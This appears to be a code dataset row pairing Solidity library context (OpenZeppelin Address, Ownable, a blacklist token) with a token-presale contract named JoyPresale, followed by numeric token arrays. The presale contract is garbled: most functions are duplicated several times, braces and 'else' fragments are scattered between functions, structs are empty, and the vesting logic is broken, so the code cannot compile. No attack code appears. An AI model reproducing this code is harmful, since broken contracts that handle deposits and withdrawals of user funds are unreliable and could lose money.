* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "../utils/AuthorizableU.sol";
contract BlackListToken is ERC20Upgradeable, AuthorizableU {
////////////////////////////////////////////////////////////////////////
// State variables
////////////////////////////////////////////////////////////////////////
bool public isBlackListChecking;
mapping (address => bool) public isBlackListed; // for from address
mapping (address => bool) public isWhiteListed; // for to address
////////////////////////////////////////////////////////////////////////
// Events & Modifiers
////////////////////////////////////////////////////////////////////////
event SetBlackList(address[] _users, bool _status);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
event SetWhiteList(address[] _users, bool _status);
event AddedWhiteList(address _user);
event RemovedWhiteList(address _user);
modifier whenTransferable(address _from, address _to) {
require(isTransferable(_from, _to), "[email protected]: transfer isn't allowed");
_;
}
////////////////////////////////////////////////////////////////////////
// Initialization functions
////////////////////////////////////////////////////////////////////////
function __BlackList_init() internal virtual initializer {
__Authorizable_init();
isBlackListChecking = true;
}
////////////////////////////////////////////////////////////////////////
// External functions
////////////////////////////////////////////////////////////////////////
function startBlackList(bool _status) public onlyAuthorized {
isBlackListChecking = _status;
}
// Blacklist
function setBlackList(address[] memory _addrs, bool _status) public onlyAuthorized {
for (uint256 i; i < _addrs.length; ++i) {
isBlackListed[_addrs[i]] = _status;
}
emit SetBlackList(_addrs, _status);
}
function addBlackList(address _toAdd) public onlyAuthorized {
isBlackListed[_toAdd] = true;
emit AddedBlackList(_toAdd);
}
function removeBlackList(address _toRemove) public onlyAuthorized {
isBlackListed[_toRemove] = false;
emit RemovedBlackList(_toRemove);
}
// Whitelist
function setWhiteList(address[] memory _addrs, bool _status) public onlyAuthorized {
for (uint256 i; i < _addrs.length; ++i) {
isWhiteListed[_addrs[i]] = _status;
}
emit SetWhiteList(_addrs, _status);
}
function addWhiteList(address _toAdd) public onlyAuthorized {
isWhiteListed[_toAdd] = true;
emit AddedWhiteList(_toAdd);
}
function removeWhiteList (address _toRemove) public onlyAuthorized {
isWhiteListed[_toRemove] = false;
emit RemovedWhiteList(_toRemove);
}
function isTransferable(address _from, address _to) public view returns (bool) {
if (isBlackListChecking) {
// require(!isBlackListed[_from], "[email protected]: _from is in isBlackListed");
// require(!isBlackListed[_to] || isWhiteListed[_to], "[email protected]: _to is in isBlackListed");
require(!isBlackListed[_from] || isWhiteListed[_to], "[email protected]: _from is in isBlackListed");
}
return true;
}
////////////////////////////////////////////////////////////////////////
// Internal functions
////////////////////////////////////////////////////////////////////////
function _transfer(address _from, address _to, uint256 _amount) internal virtual override whenTransferable(_from, _to) {
super._transfer(_from, _to, _amount);
}
} | State variables Info of each coin like USDT, USDC | contract JoyPresale is ContextUpgradeable, AuthorizableU {
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
pragma solidity 0.8.6;
struct CoinInfo {
address addr;
uint256 rate;
}
struct VestingInfo {
}
struct UserInfo {
}
uint16 public treasuryIndex;
uint8 public COIN_DECIMALS;
uint256 public SALE_START;
uint256 public SALE_DURATION;
address[] public userAddrs;
uint256 public totalSoldAmount;
uint256 public totalCoinAmount;
event TokensWithdrawed(address indexed purchaser, uint256 tokenAmount);
IERC20Upgradeable public govToken;
IERC20Upgradeable public xGovToken;
address[] public treasuryAddrs;
CoinInfo[] public coinList;
uint8 public VESTING_INDEX;
bool public SALE_FLAG;
bool public GOVTOKEN_PUBLIC_FLAG;
mapping(address => UserInfo) public userList;
uint256 public totalSaleAmount;
event TokensPurchased(address indexed purchaser, uint256 coinAmount, uint256 tokenAmount);
modifier whenSale() {
require(checkSalePeriod(), "This is not sale period.");
_;
}
modifier whenVesting(address userAddr) {
require(checkVestingPeriod(userAddr), "This is not vesting period.");
_;
}
function initialize(
IERC20Upgradeable _govToken,
IERC20Upgradeable _xGovToken,
uint256 _totalSaleAmount,
CoinInfo[] memory _coinList,
VestingInfo[] memory _vestingList
) public virtual initializer
{
__Context_init();
__Authorizable_init();
govToken = _govToken;
xGovToken = _xGovToken;
treasuryIndex = 0;
COIN_DECIMALS = 18;
setCoinList(_coinList);
setVestingList(_vestingList);
VESTING_INDEX = 0;
startSale(false);
updateSaleDuration(60 days);
setGovTokenPublicFlag(false);
updateTotalSaleAmount(_totalSaleAmount);
}
function updateTokens(IERC20Upgradeable _govToken, IERC20Upgradeable _xGovToken) public onlyAuthorized {
govToken = _govToken;
xGovToken = _xGovToken;
}
function updateTreasuryAddrs(address[] memory _treasuryAddrs) public onlyOwner {
delete treasuryAddrs;
for (uint i=0; i<_treasuryAddrs.length; i++) {
treasuryAddrs.push(_treasuryAddrs[i]);
}
treasuryIndex = 0;
}
function updateTreasuryAddrs(address[] memory _treasuryAddrs) public onlyOwner {
delete treasuryAddrs;
for (uint i=0; i<_treasuryAddrs.length; i++) {
treasuryAddrs.push(_treasuryAddrs[i]);
}
treasuryIndex = 0;
}
function updateTreasuryIndex(uint16 _treasuryIndex) public onlyAuthorized {
treasuryIndex = _treasuryIndex;
if (treasuryAddrs.length > 0 && treasuryIndex >= treasuryAddrs.length) {
treasuryIndex = 0;
}
}
function updateTreasuryIndex(uint16 _treasuryIndex) public onlyAuthorized {
treasuryIndex = _treasuryIndex;
if (treasuryAddrs.length > 0 && treasuryIndex >= treasuryAddrs.length) {
treasuryIndex = 0;
}
}
function setCoinList(CoinInfo[] memory _coinList) public onlyAuthorized {
delete coinList;
for (uint i=0; i<_coinList.length; i++) {
coinList.push(_coinList[i]);
}
}
function setCoinList(CoinInfo[] memory _coinList) public onlyAuthorized {
delete coinList;
for (uint i=0; i<_coinList.length; i++) {
coinList.push(_coinList[i]);
}
}
function updateCoinInfo(uint8 index, address addr, uint256 rate) public onlyAuthorized {
coinList[index] = CoinInfo(addr, rate);
}
function setVestingList(VestingInfo[] memory _vestingList) public onlyAuthorized {
delete vestingList;
for (uint i=0; i<_vestingList.length; i++) {
vestingList.push(_vestingList[i]);
}
}
function setVestingList(VestingInfo[] memory _vestingList) public onlyAuthorized {
delete vestingList;
for (uint i=0; i<_vestingList.length; i++) {
vestingList.push(_vestingList[i]);
}
}
function setVestingIndex(uint8 index) public onlyAuthorized {
VESTING_INDEX = index;
}
function updateVestingInfo(uint8 index, uint8 _initClaimablePercent, uint256 _lockingDuration, uint256 _vestingDuration) public onlyAuthorized {
if (index == 255) {
vestingList.push(VestingInfo(_initClaimablePercent, _lockingDuration, _vestingDuration));
vestingList[index] = VestingInfo(_initClaimablePercent, _lockingDuration, _vestingDuration);
}
}
function updateVestingInfo(uint8 index, uint8 _initClaimablePercent, uint256 _lockingDuration, uint256 _vestingDuration) public onlyAuthorized {
if (index == 255) {
vestingList.push(VestingInfo(_initClaimablePercent, _lockingDuration, _vestingDuration));
vestingList[index] = VestingInfo(_initClaimablePercent, _lockingDuration, _vestingDuration);
}
}
} else {
function startSale(bool bStart) public onlyAuthorized {
SALE_FLAG = bStart;
if (bStart) {
SALE_START = block.timestamp;
}
}
function startSale(bool bStart) public onlyAuthorized {
SALE_FLAG = bStart;
if (bStart) {
SALE_START = block.timestamp;
}
}
function setGovTokenPublicFlag(bool bFlag) public onlyAuthorized {
GOVTOKEN_PUBLIC_FLAG = bFlag;
}
function updateSaleDuration(uint256 saleDuration) public onlyAuthorized {
SALE_DURATION = saleDuration;
}
function checkSalePeriod() public view returns (bool) {
return SALE_FLAG && block.timestamp >= SALE_START && block.timestamp <= SALE_START.add(SALE_DURATION);
}
function checkLockingPeriod(address userAddr) public view returns (bool) {
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = getUserVestingInfo(userAddr);
return block.timestamp >= userInfo.firstDepositedTime && block.timestamp <= userInfo.firstDepositedTime.add(vestingInfo.lockingDuration);
}
function checkVestingPeriod(address userAddr) public view returns (bool) {
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = getUserVestingInfo(userAddr);
uint256 VESTING_START = userInfo.firstDepositedTime.add(vestingInfo.lockingDuration);
return GOVTOKEN_PUBLIC_FLAG || block.timestamp >= VESTING_START;
}
function updateTotalSaleAmount(uint256 amount) public onlyAuthorized {
totalSaleAmount = amount;
}
function getUserAddrs() public view returns (address[] memory) {
address[] memory returnData = new address[](userAddrs.length);
for (uint i=0; i<userAddrs.length; i++) {
returnData[i] = userAddrs[i];
}
return returnData;
}
function getUserAddrs() public view returns (address[] memory) {
address[] memory returnData = new address[](userAddrs.length);
for (uint i=0; i<userAddrs.length; i++) {
returnData[i] = userAddrs[i];
}
return returnData;
}
function getUserVestingInfo(address userAddr) public view returns (VestingInfo memory) {
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = vestingList[userInfo.vestingIndex];
return vestingInfo;
}
function setUserInfo(address _addr, uint8 _vestingIndex, uint256 _depositedAmount, uint256 _purchasedAmount, uint256 _withdrawnAmount) public onlyAuthorized {
UserInfo storage userInfo = userList[_addr];
if (userInfo.depositedAmount == 0) {
userAddrs.push(_addr);
userInfo.vestingIndex = _vestingIndex;
userInfo.firstDepositedTime = block.timestamp;
userInfo.depositedAmount = 0;
userInfo.purchasedAmount = 0;
userInfo.withdrawnAmount = 0;
totalCoinAmount = totalCoinAmount.sub(Math.min(totalCoinAmount, userInfo.depositedAmount));
totalSoldAmount = totalSoldAmount.sub(Math.min(totalSoldAmount, userInfo.purchasedAmount));
}
totalCoinAmount = totalCoinAmount.add(_depositedAmount);
totalSoldAmount = totalSoldAmount.add(_purchasedAmount);
userInfo.depositedAmount = userInfo.depositedAmount.add(_depositedAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(_purchasedAmount);
userInfo.withdrawnAmount = userInfo.withdrawnAmount.add(_withdrawnAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_addr);
}
function setUserInfo(address _addr, uint8 _vestingIndex, uint256 _depositedAmount, uint256 _purchasedAmount, uint256 _withdrawnAmount) public onlyAuthorized {
UserInfo storage userInfo = userList[_addr];
if (userInfo.depositedAmount == 0) {
userAddrs.push(_addr);
userInfo.vestingIndex = _vestingIndex;
userInfo.firstDepositedTime = block.timestamp;
userInfo.depositedAmount = 0;
userInfo.purchasedAmount = 0;
userInfo.withdrawnAmount = 0;
totalCoinAmount = totalCoinAmount.sub(Math.min(totalCoinAmount, userInfo.depositedAmount));
totalSoldAmount = totalSoldAmount.sub(Math.min(totalSoldAmount, userInfo.purchasedAmount));
}
totalCoinAmount = totalCoinAmount.add(_depositedAmount);
totalSoldAmount = totalSoldAmount.add(_purchasedAmount);
userInfo.depositedAmount = userInfo.depositedAmount.add(_depositedAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(_purchasedAmount);
userInfo.withdrawnAmount = userInfo.withdrawnAmount.add(_withdrawnAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_addr);
}
} else {
function seedUserList(address[] memory _userAddrs, UserInfo[] memory _userList, bool _transferToken) public onlyOwner {
for (uint i=0; i<_userAddrs.length; i++) {
setUserInfo(_userAddrs[i], _userList[i].vestingIndex, _userList[i].depositedAmount, _userList[i].purchasedAmount, _userList[i].withdrawnAmount);
if (_transferToken) {
xGovToken.safeTransfer(_userAddrs[i], _userList[i].purchasedAmount);
}
}
}
function seedUserList(address[] memory _userAddrs, UserInfo[] memory _userList, bool _transferToken) public onlyOwner {
for (uint i=0; i<_userAddrs.length; i++) {
setUserInfo(_userAddrs[i], _userList[i].vestingIndex, _userList[i].depositedAmount, _userList[i].purchasedAmount, _userList[i].withdrawnAmount);
if (_transferToken) {
xGovToken.safeTransfer(_userAddrs[i], _userList[i].purchasedAmount);
}
}
}
function seedUserList(address[] memory _userAddrs, UserInfo[] memory _userList, bool _transferToken) public onlyOwner {
for (uint i=0; i<_userAddrs.length; i++) {
setUserInfo(_userAddrs[i], _userList[i].vestingIndex, _userList[i].depositedAmount, _userList[i].purchasedAmount, _userList[i].withdrawnAmount);
if (_transferToken) {
xGovToken.safeTransfer(_userAddrs[i], _userList[i].purchasedAmount);
}
}
}
function seedUser(address _userAddr, uint8 _vestingIndex, uint256 _depositedAmount, uint256 _purchasedAmount, bool _transferToken) public onlyOwner {
setUserInfo(_userAddr, _vestingIndex, _depositedAmount, _purchasedAmount, 0);
if (_transferToken) {
xGovToken.safeTransfer(_userAddr, _purchasedAmount);
}
}
function seedUser(address _userAddr, uint8 _vestingIndex, uint256 _depositedAmount, uint256 _purchasedAmount, bool _transferToken) public onlyOwner {
setUserInfo(_userAddr, _vestingIndex, _depositedAmount, _purchasedAmount, 0);
if (_transferToken) {
xGovToken.safeTransfer(_userAddr, _purchasedAmount);
}
}
function deposit(uint256 _coinAmount, uint8 coinIndex) external whenSale {
require( totalSaleAmount >= totalSoldAmount, "totalSaleAmount >= totalSoldAmount");
CoinInfo memory coinInfo = coinList[coinIndex];
IERC20Upgradeable coin = IERC20Upgradeable(coinInfo.addr);
(uint256 tokenAmount, uint256 coinAmount) = calcTokenAmount(_coinAmount, coinIndex);
uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);
if (availableTokenAmount < tokenAmount) {
tokenAmount = availableTokenAmount;
(_coinAmount, coinAmount) = calcCoinAmount(availableTokenAmount, coinIndex);
}
xGovToken.safeTransfer(_msgSender(), tokenAmount);
if (treasuryAddrs.length != 0) {
coin.safeTransfer(treasuryAddrs[treasuryIndex], coinAmount);
}
totalSoldAmount = totalSoldAmount.add(tokenAmount);
if (userInfo.depositedAmount == 0) {
userAddrs.push(_msgSender());
userInfo.vestingIndex = 1;
userInfo.firstDepositedTime = block.timestamp;
}
userInfo.depositedAmount = userInfo.depositedAmount.add(_coinAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(tokenAmount);
emit TokensPurchased(_msgSender(), _coinAmount, tokenAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_msgSender());
}
function deposit(uint256 _coinAmount, uint8 coinIndex) external whenSale {
require( totalSaleAmount >= totalSoldAmount, "totalSaleAmount >= totalSoldAmount");
CoinInfo memory coinInfo = coinList[coinIndex];
IERC20Upgradeable coin = IERC20Upgradeable(coinInfo.addr);
(uint256 tokenAmount, uint256 coinAmount) = calcTokenAmount(_coinAmount, coinIndex);
uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);
if (availableTokenAmount < tokenAmount) {
tokenAmount = availableTokenAmount;
(_coinAmount, coinAmount) = calcCoinAmount(availableTokenAmount, coinIndex);
}
xGovToken.safeTransfer(_msgSender(), tokenAmount);
if (treasuryAddrs.length != 0) {
coin.safeTransfer(treasuryAddrs[treasuryIndex], coinAmount);
}
totalSoldAmount = totalSoldAmount.add(tokenAmount);
if (userInfo.depositedAmount == 0) {
userAddrs.push(_msgSender());
userInfo.vestingIndex = 1;
userInfo.firstDepositedTime = block.timestamp;
}
userInfo.depositedAmount = userInfo.depositedAmount.add(_coinAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(tokenAmount);
emit TokensPurchased(_msgSender(), _coinAmount, tokenAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_msgSender());
}
_preValidatePurchase(_msgSender(), tokenAmount, coinAmount, coinIndex);
coin.safeTransferFrom(_msgSender(), address(this), coinAmount);
function deposit(uint256 _coinAmount, uint8 coinIndex) external whenSale {
require( totalSaleAmount >= totalSoldAmount, "totalSaleAmount >= totalSoldAmount");
CoinInfo memory coinInfo = coinList[coinIndex];
IERC20Upgradeable coin = IERC20Upgradeable(coinInfo.addr);
(uint256 tokenAmount, uint256 coinAmount) = calcTokenAmount(_coinAmount, coinIndex);
uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);
if (availableTokenAmount < tokenAmount) {
tokenAmount = availableTokenAmount;
(_coinAmount, coinAmount) = calcCoinAmount(availableTokenAmount, coinIndex);
}
xGovToken.safeTransfer(_msgSender(), tokenAmount);
if (treasuryAddrs.length != 0) {
coin.safeTransfer(treasuryAddrs[treasuryIndex], coinAmount);
}
totalSoldAmount = totalSoldAmount.add(tokenAmount);
if (userInfo.depositedAmount == 0) {
userAddrs.push(_msgSender());
userInfo.vestingIndex = 1;
userInfo.firstDepositedTime = block.timestamp;
}
userInfo.depositedAmount = userInfo.depositedAmount.add(_coinAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(tokenAmount);
emit TokensPurchased(_msgSender(), _coinAmount, tokenAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_msgSender());
}
totalCoinAmount = totalCoinAmount.add(_coinAmount);
UserInfo storage userInfo = userList[_msgSender()];
function deposit(uint256 _coinAmount, uint8 coinIndex) external whenSale {
require( totalSaleAmount >= totalSoldAmount, "totalSaleAmount >= totalSoldAmount");
CoinInfo memory coinInfo = coinList[coinIndex];
IERC20Upgradeable coin = IERC20Upgradeable(coinInfo.addr);
(uint256 tokenAmount, uint256 coinAmount) = calcTokenAmount(_coinAmount, coinIndex);
uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);
if (availableTokenAmount < tokenAmount) {
tokenAmount = availableTokenAmount;
(_coinAmount, coinAmount) = calcCoinAmount(availableTokenAmount, coinIndex);
}
xGovToken.safeTransfer(_msgSender(), tokenAmount);
if (treasuryAddrs.length != 0) {
coin.safeTransfer(treasuryAddrs[treasuryIndex], coinAmount);
}
totalSoldAmount = totalSoldAmount.add(tokenAmount);
if (userInfo.depositedAmount == 0) {
userAddrs.push(_msgSender());
userInfo.vestingIndex = 1;
userInfo.firstDepositedTime = block.timestamp;
}
userInfo.depositedAmount = userInfo.depositedAmount.add(_coinAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(tokenAmount);
emit TokensPurchased(_msgSender(), _coinAmount, tokenAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_msgSender());
}
function withdraw() external whenVesting(_msgSender()) {
uint256 withdrawalAmount = calcWithdrawalAmount(_msgSender());
uint256 govTokenAmount = govToken.balanceOf(address(this));
uint256 xGovTokenAmount = xGovToken.balanceOf(address(_msgSender()));
uint256 withdrawAmount = Math.min(withdrawalAmount, Math.min(govTokenAmount, xGovTokenAmount));
require(withdrawAmount > 0, "No withdraw amount!");
require(xGovToken.allowance(_msgSender(), address(this)) >= withdrawAmount, "withdraw's allowance is low!");
xGovToken.safeTransferFrom(_msgSender(), address(this), withdrawAmount);
govToken.safeTransfer(_msgSender(), withdrawAmount);
UserInfo storage userInfo = userList[_msgSender()];
userInfo.withdrawnAmount = userInfo.withdrawnAmount.add(withdrawAmount);
userInfo.lastWithdrawnTime = block.timestamp;
emit TokensWithdrawed(_msgSender(), withdrawAmount);
}
function calcWithdrawalAmount(address userAddr) public view returns (uint256) {
require(checkVestingPeriod(userAddr), "This is not vesting period.");
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = getUserVestingInfo(userAddr);
uint256 VESTING_START = userInfo.firstDepositedTime.add(vestingInfo.lockingDuration);
uint256 totalAmount = 0;
if (block.timestamp <= VESTING_START) {
totalAmount = userInfo.purchasedAmount.mul(vestingInfo.initClaimablePercent).div(100);
totalAmount = userInfo.purchasedAmount;
totalAmount = userInfo.purchasedAmount.mul(block.timestamp.sub(VESTING_START)).div(vestingInfo.vestingDuration);
}
uint256 withdrawalAmount = totalAmount.sub(userInfo.withdrawnAmount);
return withdrawalAmount;
}
function calcWithdrawalAmount(address userAddr) public view returns (uint256) {
require(checkVestingPeriod(userAddr), "This is not vesting period.");
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = getUserVestingInfo(userAddr);
uint256 VESTING_START = userInfo.firstDepositedTime.add(vestingInfo.lockingDuration);
uint256 totalAmount = 0;
if (block.timestamp <= VESTING_START) {
totalAmount = userInfo.purchasedAmount.mul(vestingInfo.initClaimablePercent).div(100);
totalAmount = userInfo.purchasedAmount;
totalAmount = userInfo.purchasedAmount.mul(block.timestamp.sub(VESTING_START)).div(vestingInfo.vestingDuration);
}
uint256 withdrawalAmount = totalAmount.sub(userInfo.withdrawnAmount);
return withdrawalAmount;
}
} else if (block.timestamp >= VESTING_START.add(vestingInfo.vestingDuration)) {
} else {
function calcTokenAmount(uint256 _coinAmount, uint8 coinIndex) public view returns (uint256, uint256) {
require( coinList.length > coinIndex, "coinList.length > coinIndex");
CoinInfo memory coinInfo = coinList[coinIndex];
ERC20Upgradeable coin = ERC20Upgradeable(coinInfo.addr);
uint256 rate = coinInfo.rate;
uint tokenDecimal = ERC20Upgradeable(address(xGovToken)).decimals() + coin.decimals() - COIN_DECIMALS;
uint256 tokenAmount = _coinAmount
.mul(10**tokenDecimal)
.div(rate);
uint coinDecimal = COIN_DECIMALS - coin.decimals();
uint256 coinAmount = _coinAmount
.div(10**coinDecimal);
return (tokenAmount, coinAmount);
}
function calcCoinAmount(uint256 _tokenAmount, uint8 coinIndex) public view returns (uint256, uint256) {
require( coinList.length > coinIndex, "coinList.length > coinIndex");
CoinInfo memory coinInfo = coinList[coinIndex];
ERC20Upgradeable coin = ERC20Upgradeable(coinInfo.addr);
uint256 rate = coinInfo.rate;
uint _coinDecimal = ERC20Upgradeable(address(xGovToken)).decimals() + coin.decimals() - COIN_DECIMALS;
uint256 _coinAmount = _tokenAmount
.div(10**_coinDecimal)
.mul(rate);
uint coinDecimal = COIN_DECIMALS - coin.decimals();
uint256 coinAmount = _coinAmount
.div(10**coinDecimal);
return (_coinAmount, coinAmount);
}
function calcMaxCoinAmountToBeDeposit(uint8 coinIndex) public view returns (uint256) {
uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);
(uint256 _coinAmount,) = calcCoinAmount(availableTokenAmount, coinIndex);
return _coinAmount;
}
function withdrawAllCoins(address treasury) public onlyOwner {
for (uint i=0; i<coinList.length; i++) {
CoinInfo memory coinInfo = coinList[i];
IERC20Upgradeable _coin = IERC20Upgradeable(coinInfo.addr);
uint256 coinAmount = _coin.balanceOf(address(this));
_coin.safeTransfer(treasury, coinAmount);
}
}
function withdrawAllCoins(address treasury) public onlyOwner {
for (uint i=0; i<coinList.length; i++) {
CoinInfo memory coinInfo = coinList[i];
IERC20Upgradeable _coin = IERC20Upgradeable(coinInfo.addr);
uint256 coinAmount = _coin.balanceOf(address(this));
_coin.safeTransfer(treasury, coinAmount);
}
}
function withdrawAllxGovTokens(address treasury) public onlyOwner {
uint256 tokenAmount = xGovToken.balanceOf(address(this));
xGovToken.safeTransfer(treasury, tokenAmount);
}
function withdrawAllGovTokens(address treasury) public onlyOwner {
uint256 tokenAmount = govToken.balanceOf(address(this));
govToken.safeTransfer(treasury, tokenAmount);
}
function _preValidatePurchase(address purchaser, uint256 tokenAmount, uint256 coinAmount, uint8 coinIndex) internal view {
require( coinList.length > coinIndex, "coinList.length > coinIndex");
CoinInfo memory coinInfo = coinList[coinIndex];
IERC20Upgradeable coin = IERC20Upgradeable(coinInfo.addr);
require(purchaser != address(0), "Purchaser is the zero address");
require(coinAmount != 0, "Coin amount is 0");
require(tokenAmount != 0, "Token amount is 0");
require(xGovToken.balanceOf(address(this)) >= tokenAmount, "$xJoyToken amount is lack!");
require(coin.balanceOf(msg.sender) >= coinAmount, "Purchaser's coin amount is lack!");
require(coin.allowance(msg.sender, address(this)) >= coinAmount, "Purchaser's allowance is low!");
this;
}
}
| 480,041 | [
1,
1119,
3152,
3807,
434,
1517,
13170,
3007,
11836,
9081,
16,
11836,
5528,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
